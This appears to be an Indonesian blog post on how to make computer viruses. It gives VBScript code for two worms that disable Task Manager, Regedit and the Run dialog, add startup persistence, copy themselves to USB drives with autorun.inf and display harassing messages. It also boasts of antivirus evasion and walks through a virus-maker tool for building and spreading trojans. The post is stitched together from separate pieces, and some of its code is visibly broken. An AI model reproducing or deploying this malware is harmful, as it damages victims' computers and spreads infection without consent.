‘//–Manip – Hilangkan menu Find, Folder Options, Run,  dan memblokir Regedit dan Task Manager–//

kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”

kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”

kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”

kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”

kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//

kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip - Munculkan Pesan Setiap Windows Startup–//

kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//

kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//

kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”

kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//

if check <> 1 then

Wscript.sleep 200000

end if

loop while check <> 1

set sd = createobject(”Wscript.shell”)

sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname

‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

kawan kawan buka notepad kalian salin scrib di bawah ini simpan dengan nama erwinda_putra.exe.vbs
AWAS…!!!!
virus ini sangat berbahaya…
apapun yang terjadi bukan tanggungan saya…
SALAM MESRA BUAT HACKER PADANG YE…
SALAMAT UNTUK PENGHANCURKAN..
=====================================================
‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe erwinda_putra.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2008
WScript.sleep 20000
msgbox “salamaik tibo di virus camp_luck” & vbcrlf & _
“ondeh sanak maaf stek yo awak masuak ka sistem sanak anok-anok” & vbcrlf & _
“dunsanak komputer dunsanak awak kuasai stek dih. kini dunsanak masuak dalam permainan suruak manyuruan” & vbcrlf & _
“iko permainan yang paten ma dunsanak” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok selah dih dunsanak beko tajadi yang indak-indak ko” & vbcrlf & vbcrlf & _
” aaa kini saaiknyo ma dunsanak”
loop
==========================================================
OIA NE PROMOSI DIKIT…
KALO KALIAN KEPENGEN BUAT VIRUS…
GW BANYAK PROGRAM BUAT VIRUS..
KUNJUNGI AJA IMAEL GW OK…
NE…
CAMP_LUCK@YAHOO.COM
SAYA BAKAL NGIRIMIN NYA DEH…
KHUSUS BUAT KAWAN2 OK..
BYE..2

Disini kita akan membahas gimana cara membuat virus, sebenarnya gampang-gampang susah, untuk orang-orang awam sih sulit tuk membuat virus, tapi disini ada software utuk membuat virus. Jangan panjang lebar untuk itu. Kita perkenalkan Terabit Virus Maker. 3.2 SE software ini bisa membuat virus berjenis trojan, banyak kegunananya misalnya :
1.Cara mematikan monitor
2.tidak ada suara dalam volume
3.me-close sendiri IE dalam 10 menit
4.dsbdan cara penggunaanya sangat gampang :
1.Buka dulu Terabit Virus Maker 3.2 SE
2.Pilihlah cara virus bekerja,
3.klik kotak putih Fake error Message dan ketiklah pesan yang pada virus agar yang tertuju membaca pesan anda tersebut.
4.Ketik berapa byte yang anda kehendaki, semakin besar byte yang anda ketik semakin besar pula virus yang anda buat
5.nama virus sebelum di instal
6.pilihlah gambar yang anda kehendaki dan Nama virus
7.lalu klik Create Virus, dan kemudian save setting, exit,

Jadi dech virus yang anda buat dan suruh instal virus yang anda buat tadi agar virus tersebut menyebar pada komputer yang anda tuju, terima kasih semoga bermanfaat.

Read More